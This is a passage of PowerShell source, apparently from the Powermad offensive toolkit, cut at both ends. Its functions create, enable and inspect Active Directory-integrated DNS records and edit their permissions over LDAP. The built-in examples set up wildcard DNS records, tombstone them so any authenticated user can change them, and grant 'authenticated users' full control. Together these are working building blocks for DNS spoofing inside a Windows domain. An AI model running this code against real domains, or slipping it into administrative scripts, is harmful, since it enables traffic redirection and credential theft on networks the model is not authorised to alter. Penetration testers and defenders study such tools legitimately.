.PARAMETER Weight
SRV record weight.
.PARAMETER Zone
The ADIDNS zone.
.EXAMPLE
Enable a wildcard record.
Enable-ADIDNSNode -Node *
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Data,
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$Node,
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
[parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][Byte[]]$DNSRecord,
[parameter(Mandatory=$false)][Int]$Preference,
[parameter(Mandatory=$false)][Int]$Priority,
[parameter(Mandatory=$false)][Int]$Weight,
[parameter(Mandatory=$false)][Int]$Port,
[parameter(Mandatory=$false)][Int]$TTL = 600,
[parameter(Mandatory=$false)][Int32]$SOASerialNumber,
[parameter(Mandatory=$false)][Switch]$Static,
[parameter(Mandatory=$false)][Switch]$Tombstone,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Zone)
{
$Zone = $current_domain.Name
Write-Verbose "[+] ADIDNS Zone = $Zone"
}
if(!$DistinguishedName)
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = "DC=$Node," + $DistinguishedName
}
if(!$DNSRecord)
{
try
{
if($Static)
{
$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static
}
else
{
$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone
}
Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))"
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
$directory_entry.InvokeSet('dnsRecord',$DNSRecord)
$directory_entry.SetInfo()
Write-Output "[+] ADIDNS node $Node enabled"
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
}
function Get-ADIDNSNodeAttribute
{
<#
.SYNOPSIS
This function can return values populated in an ADIDNS node attribute.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function can be used to retrn an ADIDNS node attribute such as a dnsRecord array.
.PARAMETER Attribute
The ADIDNS node attribute.
.PARAMETER Credential
PSCredential object that will be used to read the attribute.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS zone. Do not include the node name.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Node
The ADIDNS node name.
.PARAMETER Partition
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
.PARAMETER Zone
The ADIDNS zone.
.EXAMPLE
Get the dnsRecord attribute value of a node named test.
Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$Attribute,
[parameter(Mandatory=$true)][String]$Node,
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Zone)
{
$Zone = $current_domain.Name
Write-Verbose "[+] ADIDNS Zone = $Zone"
}
if(!$DistinguishedName)
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = "DC=$Node," + $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
$output = $directory_entry.InvokeGet($Attribute)
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
return $output
}
function Get-ADIDNSNodeOwner
{
<#
.SYNOPSIS
This function can returns the owner of an ADIDNS Node.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function can returns the owner of an ADIDNS Node.
.PARAMETER Attribute
The ADIDNS node attribute.
.PARAMETER Credential
PSCredential object that will be used to read the attribute.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS zone. Do not include the node name.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Node
The ADIDNS node name.
.PARAMETER Partition
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
.PARAMETER Zone
The ADIDNS zone.
.EXAMPLE
Get the owner of a node named test.
Get-ADIDNSNodeOwner -Node test
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$Node,
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Zone)
{
$Zone = $current_domain.Name
Write-Verbose "[+] ADIDNS Zone = $Zone"
}
if(!$DistinguishedName)
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = "DC=$Node," + $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
$output = $directory_entry.PsBase.ObjectSecurity.Owner
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
return $output
}
function Get-ADIDNSNodeTombstoned
{
<#
.SYNOPSIS
This function can determine if a node has been tombstoned.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function checks the values of dnsTombstoned and dnsRecord in order to determine if a node if currently
tombstoned.
.PARAMETER Attribute
The ADIDNS node attribute.
.PARAMETER Credential
PSCredential object that will be used to read the attribute.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS zone. Do not include the node name.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Node
The ADIDNS node name.
.PARAMETER Partition
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
.PARAMETER Zone
The ADIDNS zone.
.EXAMPLE
Get the dnsRecord attribute value of a node named test.
Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$Node,
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Zone)
{
$Zone = $current_domain.Name
Write-Verbose "[+] ADIDNS Zone = $Zone"
}
if(!$DistinguishedName)
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = "DC=$Node," + $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
$dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned')
$dnsRecord = $directory_entry.InvokeGet('dnsRecord')
}
catch
{
if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*')
{
Write-Output "[-] $($_.Exception.Message)"
$directory_entry.Close()
throw
}
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
$node_tombstoned = $false
if($dnsTombstoned -and $dnsRecord)
{
if($dnsRecord[0].GetType().name -eq [Byte])
{
if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0)
{
$node_tombstoned = $true
}
}
}
return $node_tombstoned
}
function Get-ADIDNSPermission
{
<#
.SYNOPSIS
This function gets a DACL of an ADIDNS node or zone.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function can be used to confirm that a user or group has the required permission
to modify an ADIDNS zone or node.
.PARAMETER Credential
PSCredential object that will be used to enumerate the DACL.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS node or zone.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Node
The ADIDNS node name.
.PARAMETER Partition
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
.PARAMETER Zone
The ADIDNS zone.
.EXAMPLE
Get the DACL for the default ADIDNS zone.
Get-ADIDNSPermission
.EXAMPLE
Get the DACL for an ADIDNS node named test.
Get-ADIDNSPermission -Node test
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$false)][String]$Node,
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Zone)
{
$Zone = $current_domain.Name
Write-Verbose "[+] ADIDNS Zone = $Zone"
}
if(!$DistinguishedName)
{
if($Node)
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
}
else
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
}
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
$directory_entry_security = $directory_entry.psbase.ObjectSecurity
$directory_entry_DACL = $directory_entry_security.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])
$output=@()
ForEach($ACE in $directory_entry_DACL)
{
$principal = ""
$principal_distingushed_name = ""
try
{
$principal = $ACE.IdentityReference.Translate([System.Security.Principal.NTAccount])
}
catch
{
if($ACE.IdentityReference.AccountDomainSid)
{
if($Credential)
{
$directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>",$Credential.UserName,$credential.GetNetworkCredential().Password)
}
else
{
$directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>"
}
if($directory_entry_principal.Properties.userPrincipalname)
{
$principal = $directory_entry_principal.Properties.userPrincipalname.Value
}
else
{
$principal = $directory_entry_principal.Properties.sAMAccountName.Value
$principal_distingushed_name = $directory_entry_principal.distinguishedName.Value
}
if($directory_entry_principal.Path)
{
$directory_entry_principal.Close()
}
}
}
$PS_object = New-Object PSObject
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "Principal" $principal
if($principal_distingushed_name)
{
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "DistinguishedName" $principal_distingushed_name
}
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IdentityReference" $ACE.IdentityReference
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ActiveDirectoryRights" $ACE.ActiveDirectoryRights
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceType" $ACE.InheritanceType
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectType" $ACE.ObjectType
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritedObjectType" $ACE.InheritedObjectType
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectFlags" $ACE.ObjectFlags
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "AccessControlType" $ACE.AccessControlType
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IsInherited" $ACE.IsInherited
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceFlags" $ACE.InheritanceFlags
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "PropagationFlags" $ACE.PropagationFlags
$output += $PS_object
}
}
catch
{
if($_.Exception.Message -notlike "*Some or all identity references could not be translated.*")
{
Write-Output "[-] $($_.Exception.Message)"
}
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
return $output
}
function Get-ADIDNSZone
{
<#
.SYNOPSIS
This function can return ADIDNS zones.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function can return ADIDNS zones. The output format is a distinguished name. The distinguished name will
contain a partition value of either DomainDNSZones,ForestDNSZone, or System. The correct value can be inputed
to the Partition parameter for other Powermad ADIDNS functions.
.PARAMETER Credential
PSCredential object that will be used to read the attribute.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS zone. Do not include the node name.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Partition
(DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. By default, this
function will loop through all three partitions.
.PARAMETER Zone
The ADIDNS zone to serach for.
.EXAMPLE
Get all ADIDNS zones.
Get-ADIDNSZone
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "",
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Partition)
{
if(!$DistinguishedName)
{
$partition_list = @("DomainDNSZones","ForestDNSZones","System")
}
else
{
$partition_array = $DistinguishedName.Split(",")
$partition_list = @($partition_array[0].Substring(3))
}
}
else
{
$partition_list = @($Partition)
}
ForEach($partition_entry in $partition_list)
{
Write-Verbose "[+] Partition = $partition_entry"
if(!$DistinguishedName)
{
if($partition_entry -eq 'System')
{
$distinguished_name = "CN=$partition_entry"
}
else
{
$distinguished_name = "DC=$partition_entry"
}
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
$directory_searcher = New-Object System.DirectoryServices.DirectorySearcher($directory_entry)
if($Zone)
{
$directory_searcher.filter = "(&(objectClass=dnszone)(name=$Zone))"
}
else
{
$directory_searcher.filter = "(objectClass=dnszone)"
}
$search_results = $directory_searcher.FindAll()
for($i=0; $i -lt $search_results.Count; $i++)
{
$output += $search_results.Item($i).Properties.distinguishedname
}
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
}
return $output
}
function Grant-ADIDNSPermission
{
<#
.SYNOPSIS
This function adds an ACE to an ADIDNS node or zone DACL.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
Users that create a new DNS node through LDAP or secure dynamic updates will have full
control access. This function can be used to provide additional accounts or groups access to the node.
Although this function will work on DNS zones, non-administrators will rarely have the ability
to modify an ADIDNS zone.
.PARAMETER Access
Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete,
DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren,
ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty.
.PARAMETER Credential
PSCredential object that will be used to modify the DACL.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS node or zone.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Node
The ADIDNS node name.
.PARAMETER Partition
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
.PARAMETER Principal
The user or group that will be used for the ACE.
.PARAMETER Type
Default = Allow: The ACE allow or deny access type.
.PARAMETER Zone
The ADIDNS zone.
.EXAMPLE
Add full access to a wildcard record for "Authenticated Users".
Grant-ADIDNSPermission -Node * -Principal "authenticated users"
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild",
"DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren",
"ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll",
[parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow",
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$false)][String]$Node,
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
[parameter(Mandatory=$false)][String]$Principal,
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Zone)
{
$Zone = $current_domain.Name
Write-Verbose "[+] ADIDNS Zone = $Zone"
}
if(!$DistinguishedName)
{
if($Node)
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
}
else
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
}
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
$NT_account = New-Object System.Security.Principal.NTAccount($Principal)
$principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier])
$principal_identity = [System.Security.Principal.IdentityReference]$principal_SID
$AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access
$access_control_type = [System.Security.AccessControl.AccessControlType]$Type
$AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance)
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
try
{
$directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE)
$directory_entry.psbase.CommitChanges()
if($Node)
{
Write-Output "[+] ACE added for $Principal to $Node DACL"
}
else
{
Write-Output "[+] ACE added for $Principal to $Zone DACL"
}
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
return $output
}
function New-ADIDNSNode
{
<#
.SYNOPSIS
This function adds a DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP
add request.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function creates an ADIDNS record by connecting to LDAP and adding an object of type dnsNode.
.PARAMETER Credential
PSCredential object that will be used to add the ADIDNS node.
.PARAMETER Data
For most record types this will be the destination hostname or IP address. For TXT records this can be used
for data.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS zone. Do not include the node name.
.PARAMETER DNSRecord
dnsRecord attribute byte array. If not specified, New-DNSRecordArray will generate the array. See MS-DNSP for
details on the dnsRecord structure.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is mandatory on a non-domain attached system.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Forest
The targeted forest in DNS format. This parameter is mandatory on a non-domain attached system.
.PARAMETER Node
The ADIDNS node name.
.PARAMETER Partition
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
.PARAMETER Port
SRV record port.
.PARAMETER Preference
MX record preference.
.PARAMETER Priority
SRV record priority.
.PARAMETER Tombstone
Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that
allows it to be modified or fully tombstoned by any authenticated user.
.PARAMETER SOASerialNumber
The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
DNS server and querying an SOA record.
.PARAMETER Static
Switch: Zeros out the timestamp to create a static record instead of a dynamic.
.PARAMETER TTL
Default = 600: DNS record TTL.
.PARAMETER Type
Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, NS, MX, PTR, SRV, and TXT.
.PARAMETER Weight
SRV record weight.
.PARAMETER Zone
The ADIDNS zone. This parameter is mandatory on a non-domain attached system.
.EXAMPLE
Add a wildcard record to an ADIDNS zone and tombstones the node.
New-ADIDNSNode -Node * -Tombstone
.EXAMPLE
